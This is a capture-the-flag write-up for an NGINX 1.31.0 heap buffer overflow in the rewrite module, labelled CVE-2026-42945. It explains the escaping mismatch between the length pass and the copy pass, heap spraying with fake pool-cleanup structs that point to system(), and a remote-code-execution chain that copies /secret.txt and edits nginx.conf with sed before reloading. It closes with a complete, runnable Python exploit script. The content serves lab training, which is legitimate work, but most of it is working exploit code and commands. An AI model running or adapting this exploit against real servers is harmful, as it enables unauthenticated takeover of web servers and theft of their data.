$ cat writeup.md…
$ cat writeup.md…
hackviser
Task: NGINX 1.31.0 with CVE-2026-42945 — heap buffer overflow in ngx_http_rewrite_module when rewrite with ? is followed by set using unnamed PCRE capture. Solution: exploit length/copy pass mismatch (+ chars expand 3x during copy but not length calc), spray heap with fake cleanup structs pointing to system(), overflow into adjacent pool's cleanup pointer, trigger RCE on pool destruction to exfiltrate /secret.txt via nginx config modification and reload.
NGINX is a widely used open-source web server, reverse proxy, load balancer, and HTTP cache commonly deployed in front of web applications and infrastructure services.
This laboratory contains the CVE-2026-42945 vulnerability affecting NGINX Open Source and NGINX Plus under specific rewrite configuration conditions. The vulnerability is rated Critical with a CVSS score of 9.2.
The flaw exists in the ngx_http_rewrite_module when a rewrite directive is followed by another rewrite, if, or set directive, uses an unnamed PCRE capture such as $1 or $2, and includes a question mark (?) in the replacement string. An unauthenticated attacker can send crafted HTTP requests that trigger a heap buffer overflow in the NGINX worker process.
English summary: A lab running nginx/1.31.0 with ASLR disabled. The nginx configuration contains a vulnerable rewrite+set pattern that triggers CVE-2026-42945 — a heap buffer overflow in the rewrite module. The goal is to achieve RCE and read /secret.txt from the target server at 172.20.36.209:80.
The target runs nginx/1.31.0 on port 80 with the following endpoints:
| Endpoint | Response | Notes |
|---|---|---|
/ | 200 "ok" | Catch-all location |
/api/test | 200 "backend ok" | Rewrite active, proxied to backend on port 19323 |
/spray | 200 "backend ok" | Spray endpoint for heap feng shui, proxied to backend |
/internal | 404 | Internal directive, not directly accessible |
location ~ ^/api/(.*)$ { rewrite ^/api/(.*)$ /internal?migrated=true; set $original_endpoint $1; }
This configuration triggers CVE-2026-42945 because:
rewrite directive uses ? in the replacement string (/internal?migrated=true)set directive that references an unnamed PCRE capture ($1)The vulnerability is a heap buffer overflow caused by inconsistent URI escaping between the length calculation and copy passes in the rewrite module's script engine:
Rewrite pass: The rewrite directive with ? in the replacement string sets e->is_args = 1 on the main script engine.
Length pass (for set $original_endpoint $1): Uses a freshly zeroed sub-engine (le) where le.is_args = 0. The captured group is measured at its raw length — escapable characters like + count as 1 byte each.
Copy pass: Uses the main engine where e->is_args = 1. When is_args is set, ngx_escape_uri() is called, which expands escapable characters: + (1 byte) → %2B (3 bytes).
Overflow: The buffer is allocated based on the length pass (too small), but the copy pass writes 3x more data for each + character, causing a heap buffer overflow of 2 * N bytes where N is the number of escapable characters.
The crafted URI contains:
969 * 2 = 1938 byte overflowcleanup pointerThe exploit uses heap spraying to place attacker-controlled data at predictable heap locations:
Spray phase: Send 20 POST requests to /spray with 4000-byte bodies. Each body contains a fake ngx_pool_cleanup_s struct:
struct ngx_pool_cleanup_s { ngx_pool_cleanup_pt handler; // → system() address void *data; // → pointer to command string (24 bytes after struct start) ngx_pool_cleanup_t *next; // → 0 (NULL, end of chain) }; // Followed by: command string + NUL terminator + padding
The backend's X-Delay: 60 header keeps connections alive for 60 seconds, ensuring the POST body data remains in heap memory during the exploit.
Address constraints: Only heap offsets whose 6-byte address representation contains exclusively URI-safe bytes can be used (bytes that survive nginx's URI parsing without modification). Out of 20 pre-computed offsets, 5 pass this filter.
| Symbol | Address |
|---|---|
HEAP_BASE | 0x555555659000 |
LIBC_BASE | 0x7ffff77ba000 |
system() | LIBC_BASE + 0x50d70 = 0x7ffff780ad70 |
Open 20 connections to /spray, each sending a POST with a 4000-byte body containing the fake cleanup struct with system() as the handler and the command string as data.
/api/ via connection A: GET /api/AAA...AAA+++...+++<addr> HTTP/1.1
GET / HTTP/1.1When connection V's pool is destroyed, nginx iterates the cleanup linked list. The overflow has overwritten the pool's cleanup pointer to point to our sprayed fake struct. Nginx calls handler(data) → system("our_command").
The challenge: system() executes commands but output goes to the nginx worker's stdout/stderr, not back to the HTTP client. The nginx config returns "ok" for all paths, so we can't directly serve files.
Solution — 3-step RCE chain:
RCE #1: cp /secret.txt /app/tmp/s
RCE #2: sed -i '/^ location \/ /i\ location = /f { default_type text/plain; alias /app/tmp/s; }' /app/nginx.conf
RCE #3: kill -HUP $(cat /app/tmp/nginx.pid)
location /, serving the secret file at /fGET /f HTTP/1.1 → REDACTED
#!/usr/bin/env python3 """ CVE-2026-42945 - NGINX Rewrite Module Heap Buffer Overflow RCE All-in-one solver for HackAdvisor lab. Usage: python3 solve.py <host> [port] IMPORTANT: Run on a FRESH instance. Do NOT kill the backend! """ import socket import struct import time import sys sys.stdout.reconfigure(line_buffering=True) HOST = sys.argv[1] if len(sys.argv) > 1 else "172.20.18.62" PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 80 BODY_LEN = 4000 N_SPRAY = 20 # Build SAFE byte set - bytes that survive URI parsing + escaping SAFE = set() _t = [0xffffffff, 0xd800086d, 0x50000000, 0xb8000001, 0xffffffff, 0xffffffff, 0xffffffff, 0xffffffff] for _b in range(256): if not (_t[_b >> 5] & (1 << (_b & 0x1f))): SAFE.add(_b) # Default addresses (ASLR disabled) HEAP_BASE = 0x555555659000 LIBC_BASE = 0x7ffff77ba000 SYSTEM_ADDR = LIBC_BASE + 0x50d70 PREREAD_HEAP_OFFSETS = [ 0x05a427, 0x060e67, 0x0ba557, 0x0bf367, 0x0c4177, 0x0c8f87, 0x0cdd97, 0x0d2ba7, 0x0d79b7, 0x0dc7c7, 0x0e15d7, 0x0e63e7, 0x0eb1f7, 0x0f0007, 0x0f4e17, 0x0f9c27, 0x0fea37, 0x103847, 0x108657, 0x10d467, ] def addr_is_safe(addr): return all(((addr >> (j * 8)) & 0xff) in SAFE for j in range(6)) candidates = [] for i, off in enumerate(PREREAD_HEAP_OFFSETS): addr = HEAP_BASE + off if addr_is_safe(addr): candidates.append((i, addr)) print(f"[*] {len(candidates)} safe heap candidates") def make_body(cmd): primary_addr = candidates[0][1] data_addr = primary_addr + 24 fake_struct = struct.pack('<QQQ', SYSTEM_ADDR, data_addr, 0) payload = fake_struct + cmd.encode() + b'\x00' assert len(payload) <= BODY_LEN, f"Command too long: {len(payload)}" return payload + b'\x41' * (BODY_LEN - len(payload)) def wait_alive(timeout=20): for _ in range(timeout): try: s = socket.create_connection((HOST, PORT), timeout=2) s.sendall(b"GET / HTTP/1.1\r\nHost:l\r\nConnection:close\r\n\r\n") s.recv(100) s.close() return True except: time.sleep(1) return False def attempt(target_bytes, body): sprays = [] for i in range(N_SPRAY): try: s = socket.create_connection((HOST, PORT), timeout=5) req = (b"POST /spray HTTP/1.1\r\nHost: l\r\n" b"Content-Length: " + str(BODY_LEN).encode() + b"\r\n" b"X-Delay: 60\r\nConnection: close\r\n\r\n" + body) s.sendall(req) sprays.append(s) except: break time.sleep(0.005) time.sleep(0.2) try: a = socket.create_connection((HOST, PORT), timeout=5) time.sleep(0.02) v = socket.create_connection((HOST, PORT), timeout=5) time.sleep(0.02) except: for s in sprays: try: s.close() except: pass return False uri_payload = "A" * 349 + "+" * 969 + target_bytes.decode("latin-1") a.sendall(("GET /api/" + uri_payload + " HTTP/1.1\r\nHost:localhost\r\n").encode("latin-1")) time.sleep(0.05) v.sendall(b"GET / HTTP/1.1\r\nHost:localhost\r\n") time.sleep(0.05) a.sendall(b"X-Delay:60\r\nConnection:close\r\n\r\n") time.sleep(0.2) v.close() time.sleep(0.1) crashed = False try: a.sendall(b"X-Ping:1\r\n") a.settimeout(0.2) data = a.recv(1) if not data: crashed = True except socket.timeout: try: cs = socket.create_connection((HOST, PORT), timeout=0.2) cs.sendall(b"GET / HTTP/1.1\r\nHost:l\r\nConnection:close\r\n\r\n") cd = cs.recv(10) cs.close() crashed = not cd except: crashed = True except: crashed = True for s in sprays: try: s.close() except: pass try: a.close() except: pass return crashed def run_cmd(cmd, tries_per_candidate=5, max_candidates=None): """Execute a command via the exploit. Returns True if crash detected.""" print(f"[*] CMD: {cmd}") body = make_body(cmd) cands = candidates[:max_candidates] if max_candidates else candidates for idx, (i, addr) in enumerate(cands): target = bytes([(addr >> (j * 8)) & 0xff for j in range(6)]) for t in range(tries_per_candidate): if not wait_alive(10): time.sleep(3) if not wait_alive(10): print("[!] Server not responding") return False crashed = attempt(target, body) if crashed: print(f" CRASHED at off=0x{PREREAD_HEAP_OFFSETS[i]:x} try={t+1}") time.sleep(2) return True time.sleep(0.2) print("[-] No crash") return False def http_get(path): """Simple HTTP GET, returns body string.""" try: s = socket.create_connection((HOST, PORT), timeout=5) s.sendall(f"GET {path} HTTP/1.1\r\nHost:localhost\r\nConnection:close\r\n\r\n".encode()) resp = b"" while True: chunk = s.recv(4096) if not chunk: break resp += chunk s.close() if b"\r\n\r\n" in resp: return resp.split(b"\r\n\r\n", 1)[1].decode("utf-8", errors="replace").strip() return resp.decode("utf-8", errors="replace").strip() except Exception as e: return f"ERROR: {e}" def main(): print(f"[*] Target: {HOST}:{PORT}") if not wait_alive(): print("[!] Server not responding") return 1 print("[+] Server alive") # Step 1: Copy /secret.txt print("\n=== Step 1: Copy /secret.txt ===") run_cmd("cp /secret.txt /app/tmp/s") # Step 2: Add location to nginx.conf print("\n=== Step 2: Add location to nginx.conf ===") sed_cmd = r"sed -i '/^ location \/ /i\ location = /f { default_type text/plain; alias /app/tmp/s; }' /app/nginx.conf" run_cmd(sed_cmd) # Step 3: Reload nginx print("\n=== Step 3: Reload nginx ===") run_cmd("kill -HUP $(cat /app/tmp/nginx.pid)") # Step 4: Fetch flag print("\n=== Step 4: Fetch flag ===") time.sleep(3) flag = http_get("/f") print(f"\n[+] FLAG: {flag}") return 0 if __name__ == "__main__": sys.exit(main())
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar